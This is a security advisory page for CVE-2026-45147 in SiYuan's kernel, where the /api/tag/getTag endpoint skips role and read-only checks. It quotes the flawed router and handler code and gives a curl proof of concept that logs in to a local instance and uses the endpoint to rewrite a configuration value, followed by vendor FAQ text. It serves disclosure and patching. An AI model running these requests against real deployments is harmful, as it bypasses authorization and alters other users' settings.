Summary
POST /api/tag/getTag is registered with model.CheckAuth only, omitting both model.CheckAdminRole and model.CheckReadonly, despite the handler performing a configuration write that is normally guarded by both. Any authenticated user, including publish-service RoleReader accounts and RoleEditor accounts on a read-only workspace, can call this endpoint with a sort argument to mutate model.Conf.Tag.Sort and trigger model.Conf.Save(), which atomically rewrites the entire workspace conf.json.
Same root-cause class as the patched GHSA-4j3x-hhg2-fm2x (which fixed missing CheckAdminRole + CheckReadonly on /api/template/renderSprig).
Details
Affected files / lines (v3.6.5):
kernel/api/router.go:170, only CheckAuth:
ginServer.Handle("POST", "/api/tag/getTag", model.CheckAuth, getTag)
// Compare the sibling registrations on the next two lines, which DO gate writes:
ginServer.Handle("POST", "/api/tag/renameTag", model.CheckAuth, model.CheckAdminRole, model.CheckReadonly, renameTag)
ginServer.Handle("POST", "/api/tag/removeTag", model.CheckAuth, model.CheckAdminRole, model.CheckReadonly, removeTag)
kernel/api/tag.go:28-64, handler. The if nil != arg["sort"] block writes config without any role check:
func getTag(c *gin.Context) {
ret := gulu.Ret.NewResult()
defer c.JSON(http.StatusOK, ret)
arg, ok := util.JsonArg(c, ret)
if !ok { return }
...
if nil != arg["sort"] { // ← unauthorized write path
sortVal, ok := util.ParseJsonArg[float64]("sort", arg, ret, true, false)
if !ok { return }
model.Conf.Tag.Sort = int(sortVal)
model.Conf.Save() // persists entire conf to <workspace>/conf/conf.json
}
...
}
Conf.Save() rewrites the entire configuration file, which means a malicious caller racing with a legitimate config change can roll back another user's setting (TOCTOU on the global config object).
PoC
Same Docker setup as Advisory 1.
# 1. Authenticate (any role with CheckAuth pass, admin used here for convenience).
curl -s -c /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/system/loginAuth \
-H 'Content-Type: application/json' -d '{"authCode":"audittest"}' >/dev/null
# 2. Read current Conf.Tag.Sort.
curl -s -b /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/system/getConf \
-H 'Content-Type: application/json' -d '{}' \
| python3 -c "import json,sys;print('Conf.Tag.Sort BEFORE =',json.load(sys.stdin)['data']['conf']['tag']['sort'])"
# → Conf.Tag.Sort BEFORE = 4
# 3. Mutate via the read-style endpoint.
curl -s -b /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/tag/getTag \
-H 'Content-Type: application/json' -d '{"sort": 7}'
# → {"code":0,"msg":"","data":[]}
# 4. Confirm in-memory.
curl -s -b /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/system/getConf \
-H 'Content-Type: application/json' -d '{}' \
| python3 -c "import json,sys;print('Conf.Tag.Sort AFTER =',json.load(sys.stdin)['data']['conf']['tag']['sort'])"
# → Conf.Tag.Sort AFTER = 7
# 5. Confirm persisted to disk inside the container.
docker exec siyuan-audit grep -o 'sort":[0-9]*' /siyuan/workspace/conf/conf.json
# → sort":7
The vulnerability is exposed to publish-mode RoleReader (default for any anonymous publish visitor) and to RoleEditor users on workspaces where the administrator has set Editor.ReadOnly = true.
Impact
Limited direct damage, the writable field is only the tag display sort order. The pattern is concerning because:
- It demonstrates the same gap that
GHSA-4j3x-hhg2-fm2xwas meant to flag broadly (missingCheckAdminRole + CheckReadonlyon a read-style endpoint that performs writes); each occurrence has to be patched individually. Conf.Save()rewrites the whole file, so a write-race during a legitimate configuration change can overwrite unrelated user-set values.- A publish-service Reader being able to mutate any server state at all violates the intended trust boundary.
The application does not perform an authorization check before performing a sensitive operation. Typical impact: unauthorized access to restricted functionality or data.
CVE-2026-45147 has a CVSS score of 4.3 (Medium). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.0.0-20260512140701-d7b77d945e0d); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-45147? CVE-2026-45147 is a medium-severity missing authorization vulnerability in github.com/siyuan-note/siyuan/kernel (go), affecting versions < 0.0.0-20260512140701-d7b77d945e0d. It is fixed in 0.0.0-20260512140701-d7b77d945e0d. The application does not perform an authorization check before performing a sensitive operation.
- How severe is CVE-2026-45147? CVE-2026-45147 has a CVSS score of 4.3 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of github.com/siyuan-note/siyuan/kernel are affected by CVE-2026-45147? github.com/siyuan-note/siyuan/kernel (go) versions < 0.0.0-20260512140701-d7b77d945e0d is affected.
- Is there a fix for CVE-2026-45147? Yes. CVE-2026-45147 is fixed in 0.0.0-20260512140701-d7b77d945e0d. Upgrade to this version or later.
- Is CVE-2026-45147 exploitable, and should I be worried? Whether CVE-2026-45147 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-45147 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-45147? Upgrade
github.com/siyuan-note/siyuan/kernelto 0.0.0-20260512140701-d7b77d945e0d or later.